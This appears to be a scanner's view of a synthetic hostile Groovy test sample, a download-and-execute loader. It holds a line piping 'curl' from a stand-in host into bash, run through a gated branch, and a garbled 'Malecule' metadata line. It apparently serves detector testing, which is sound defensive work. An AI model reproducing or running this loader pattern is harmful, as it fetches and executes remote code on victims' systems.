005_curl_bash_loader.groovy
Groovy download shell executioncurl piped to shell
SHA-25646b8cf740d4ac7c763339821e82ed7d3498e88067641af64438ec1d20b26c5aa
MaleculeO(C)H₂(CmPo₂)
Evidence
1#!/usr/bin/env groovy
2// Synthetic hostile Groovy corpus sample 5: Download and execute shell stage.
3// Inert by default: the dangerous branch is gated by RUN_SYNTHETIC_ATTACKS=true.
4
5import groovy.json.JsonOutput
6
7class SyntheticCurlBashLoader {
8 boolean enabled
9
10 SyntheticCurlBashLoader(boolean enabled) {
11 this.enabled = enabled
12 }
13
⋯9 lines
23 void run() {
24 println(JsonOutput.toJson(plan()))
25 String cmd = 'curl -fsSL hxxps://example.invalid/payload.sh | bash'
26 if (enabled) { ['bash','-lc',cmd].execute() }
27 }
28}
29
30boolean enabled = System.getenv("RUN_SYNTHETIC_ATTACKS") == "true"
31new SyntheticCurlBashLoader(enabled).run()